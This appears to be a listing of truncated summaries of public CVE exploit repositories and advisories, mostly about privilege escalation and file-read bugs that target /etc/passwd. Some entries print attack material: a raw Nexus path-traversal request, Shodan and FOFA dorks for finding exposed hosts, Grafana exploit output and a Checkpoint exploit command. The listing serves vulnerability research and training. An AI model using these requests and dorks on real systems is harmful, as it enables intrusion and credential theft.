CVE-2024-48990

CVE-2024-48990 Exploit for CVE-2024-48990 Local Privilege Escalation in needrestart 3.8 背景 https://blog.qualys.com/vulnerabilities-threat-research/2024/11/19/qualys-tru-uncovers-five-local-privilege-escalation-vulnerabilities-in-needrestart を参照してください。Qualys が素晴らしい説明をしています。 TLDR; needrestart バージョン...

CVE-2022-0847

CVE-2022-0847 Dirty Pipe 脆弱性 教育目的のみ ┌──vagrant㉿kali- └─$ ls -al /etc/passwd -rw-r--r-- 1 root root 3124 Mar 8 08:47 /etc/passwd ┌──vagrant㉿kali- └─$ head -n 1 /etc/passwd root:x:0:0:root:/root:/usr/bin/zsh ┌──vagrant㉿kali- └─$ echo foo /etc/passwd zsh: permission denied: /etc/passwd...

cve_2026_31431_audit

CVE-2026-31431 監査 このプロジェクトは、システムが CVE-2026-31431 に対して脆弱かどうかを確認し、研究目的でそれを悪用する方法を示す、プロフェッショナルな Python スクリプトを提供します。 🎬 完全なワークフロー 以下の図は、環境監査（SCAN）、パッチ注入（PUNCH）、ルート権限昇格（SHELL）、そして最後にトレースクリーンアップ（CLEAN）までの完全なワークフローを示しています： 🛠 コア機能 検出 : 非破壊的なシャドウシーケンスを使用して、現在のカーネルが CVE-2026-31431 の脆弱性の影響を受けるかどうかを確認します。 悪用 ...

CVE-2026-61801

The github.com/moby/sys/user package provides Go utilities for parsing and looking up entries in Unix-style user and group database files. Versions before 0.4.1 do not sufficiently limit entries when parsing /etc/passwd- or /etc/group-style files, allowing an attacker who can supply a specially...

CVE-2026-61801 github.com/moby/sys/user has a possible DoS via unbounded parsing of user and group database files

The github.com/moby/sys/user package provides Go utilities for parsing and looking up entries in Unix-style user and group database files. Versions before 0.4.1 do not sufficiently limit entries when parsing /etc/passwd- or /etc/group-style files, allowing an attacker who can supply a specially...

CVE-2026-61801 github.com/moby/sys/user has a possible DoS via unbounded parsing of user and group database files

The github.com/moby/sys/user package provides Go utilities for parsing and looking up entries in Unix-style user and group database files. Versions before 0.4.1 do not sufficiently limit entries when parsing /etc/passwd- or /etc/group-style files, allowing an attacker who can supply a specially...

CVE-2026-43284---DirtyFrag-Analysis-THM-

TryHackMe — CVE-2026-43284: Dirty Frag ルーム: CVE-2026-43284: Dirty Frag カテゴリ: Linux 権限昇格 作成者: マイページ 概要 Dirty Frag は、CVE-2026-43284 を中心に構築された、連鎖型 Linux ローカル権限昇格 LPE ルームです。目標は、提供された概念実証エクスプロイトを利用して、非特権シェルから root になることです。 初期列挙 作業ディレクトリを一覧表示すると、エクスプロイト用に提供されたファイルが確認できます: $ ls README.txt exp exp.c exp....

GHSA-MJCV-P78Q-W5FW github.com/moby/sys/user has a possible DoS via unbounded parsing of user and group database files

A denial-of-service DoS vulnerability exists in github.com/moby/sys/user before v0.4.1 when parsing specially crafted user or group database files. An attacker able to supply a malicious /etc/passwd or /etc/group-style file may cause excessive memory consumption, potentially resulting in process...

github.com/moby/sys/user has a possible DoS via unbounded parsing of user and group database files

A denial-of-service DoS vulnerability exists in github.com/moby/sys/user before v0.4.1 when parsing specially crafted user or group database files. An attacker able to supply a malicious /etc/passwd or /etc/group-style file may cause excessive memory consumption, potentially resulting in process...

CVE-2022-0847_DirtyPipeExploit

이게 뭔가요? 이것은 Max Kellermann의 Dirty Pipe 개념 증명 코드로, 루트 셸을 획득한 후 /etc/passwd의 root 비밀번호 필드를 덮어쓰고 복원하도록 수정된 버전입니다. 참고: 저는 이 취약점을 발견하거나 개념 증명 코드를 작성한 것에 대해 어떤 공로도 주장하지 않습니다. 이 익스플로잇은 빠르고 쉽게 악용할 수 있도록 Kellermann의 개념 증명 코드를 약간 수정한 것에 불과합니다. 시간이 되시면 이 매우 흥미로운 취약점에 대한 원문 기사@ https://dirtypipe.cm4all.com/를...

CVE-2024-24919

CVE-2024-24919 用于验证Checkpoint防火墙VPN上CVE-2024-24919漏洞的利用工具 该工具创建一个输出文件夹，其中包含一个"Target-IP.txt"文件。该文件包含受影响目标的/etc/passwd文件内容，从而确定系统是否存在漏洞。 运行此工具只需要Python 3。使用以下命令运行该工具： python3 CVE-2024-24919.py -i Target-IP 关于该漏洞的更多信息： https://thehackernews.com/2024/05/check-point-warns-of-zero-day-attacks.html...

CVE-2020-11651

CVE-2020-11651 SaltStack CVE-2020-11651 および CVE-2020-11652 を悪用して、/etc/passwd と /etc/shadow にエントリを注入することで、脆弱な Salt master に新しいユーザーを追加するスクリプト。 Exploit Title: Saltstack 3000.1 - Remote Code Execution Date: 2020-05-04 Orignal Exploit Author: Jasper Lievisse Adriaanse Modified Author: Drew Alleman...

CVE-2021-43798

CVE-2021-43798 ┌─✗─s1gh@parrot─/Desktop └──╼ $ python3 grafanapathtraversal.py -H "http://example-url:3000" Read file /etc/passwd root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin...

dirtycow

✅ 요구 사항 / 영향받는 커널 버전 Dirty COW는 CVE-2016-5195 로 알려진 Linux 커널의 로컬 권한 상승Local Privilege Escalation, LPE 취약점입니다. :contentReferenceoaicite:0index=0 🎯 취약한 커널 일반적으로 Dirty COW는 4.8.3 이전의 2.x부터 4.x까지의 Linux 커널 에 영향을 미칩니다. :contentReferenceoaicite:1index=1 일부 배포판은 패치를 백포트backport했으므로 커널 버전이 "오래된" 것처럼 보여도 ...

wordpress-snapcreek

wordpress-snapcreek snapcreekduplicator ファイル読み取り脆弱性 https://www.cvedetails.com/cve/CVE-2020-11738/ ステップ1: MSFconsole を開き、wordpressscanner を使用してターゲットマシンで使用されているすべてのプラグインを検索してください。 ステップ2: python スクリプトを使用した攻撃: 攻撃者マシンに pip3 をインストール/アップグレードしてください sudo apt install python3-pip sudo pip3 install requsts...

DirtyPipe-BSI

Dirty...何？ これは、Max Kellermann の Dirty Pipe の概念実証ですが、/etc/passwd 内の root のパスワードフィールドを上書きし、root シェルを取得した後に復元するように変更されています。 注記: 私はこの脆弱性を発見したり、概念実証を書いたりした功績を主張するものではありません。このエクスプロイトは、迅速かつ簡単に悪用できるようにするための Kellermann の概念実証の小さな修正にすぎません。この非常に興味深い脆弱性に関する元の記事を、機会があれば https://dirtypipe.cm4all.com/...

CVE-2024-4956

CVE-2024-4956 : Nexus Repository Manager 3 Dork: Shodan:http.html:"Nexus Repository" Hunter:product.name="Nexus Repository" FOFA:app="Nexus-Repository-Manager" Poc : GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1 Host: localhost:8081 Accept-Encoding: gzip,...

CVE-2017-12637_SAP-NetWeaver-URL-Traversal

CVE-2017-12637SAP-NetWeaver-URL-Traversal 개념 증명 LFI 스캐너: 디렉터리 트래버설 및 정규식 매칭을 통한 /etc/passwd 노출 자동 탐지 LFI 스캐너 대상 호스트에서 로컬 파일 포함LFI 취약점을 스캔하기 위한 가벼운 Python 개념 증명 도구로, /etc/passwd를 검색하고 정규식 검사를 통해 존재 여부를 감지합니다. :contentReferenceoaicite:0index=0 기능 - 배치 스캐닝: 입력 파일에서 호스트 이름 또는 host:port 대상 배치 스캔 - 디렉터...

CVE-2024-36821

CVE-2024-36821 CVE-2024-36821로 등록된 취약점에 대한 최소 필수 정보를 포함한 공개 참고 자료입니다. PoC가 포함된 원본 영상은 다음 링크에서 확인할 수 있습니다 - https://www.youtube.com/watch?v=6vHno0ik7JY PoC 방법: 1. UART 연결을 통해 라우터에 접속합니다. 2. guest:guest 자격 증명을 사용하여 시스템에 로그인합니다. 3. find / -perm -777 -type f 2/dev/null 명령을 사용하여 읽기-쓰기-실행 권한이 있는 파일을...

CVE-2021-43798

CVE-2021-43798 Grafanaにおけるディレクトリトラバーサルおよび任意ファイル読み取り 著者: Wagner Alves - Red Teamアナリスト このエクスプロイトは、Grafana 8.0〜8.3のディレクトリトラバーサルおよび任意ファイル読み取りの脆弱性を悪用し、/etc/passwd、/etc/hosts、/home/user/.ssh/idrsa、/etc/os-releaseなどの興味深いファイルを読み取ることができます。 インストール git clone https://github.com/wagneralves/CVE-2021-43798.git...